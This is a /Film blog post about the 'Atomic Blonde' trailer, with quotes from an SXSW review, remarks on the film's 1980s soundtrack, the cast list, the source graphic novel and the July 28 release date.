Our own Jacob Hall caught Atomic Blonde at SXSW earlier this year, and while he noted “the general plottiness of Atomic Blonde that sometimes drags it down and you can feel the shape of a leaner, faster movie lurking within the slightly-too-long running time,” he also said, “once the action kicks in, it becomes easy to forgive just about everything else.” The action certainly looks to be of the highest caliber, as fast-paced, meticulously choreographed and hard-hitting as John Wick. You can read his full review over here.
What I’ve loved most from the trailers so far is the presence of glorious synthesized pop rock, and apparently the soundtrack is full of 1980s tunes to add to the action. At SXSW, David Leitch even said that the soundtrack was a key part of the movie’s style. We can now consider this a trend: action movies that make their soundtrack a more integral part of the proceedings than usual, just like Guardians of the Galaxy and, on an even more extreme level, Baby Driver.
The cast also features James McAvoy, John Goodman, Til Schweiger, Eddie Marsan, Sofia Boutella and Toby Jones. The film is based on the Oni Press graphic novel series The Coldest City, by Antony Johnston & illustrator Sam Hart, adapted by Kurt Johnstad (300).
Oscar winner Charlize Theron explodes into summer in Atomic Blonde, a breakneck action-thriller that follows MI6’s most lethal assassin through a ticking time bomb of a city simmering with revolution and double-crossing hives of traitors.
The crown jewel of Her Majesty’s Secret Intelligence Service, Agent Lorraine Broughton (Theron) is equal parts spycraft, sensuality and savagery, willing to deploy any of her skills to stay alive on her impossible mission. Sent alone into Berlin to deliver a priceless dossier out of the destabilized city, she partners with embedded station chief David Percival (James McAvoy) to navigate her way through the deadliest game of spies.
Atomic Blonde opens in theaters July 28.
The post ‘Atomic Blonde’ Trailer: Charlize Theron Is Not F**king Around appeared first on /Film.
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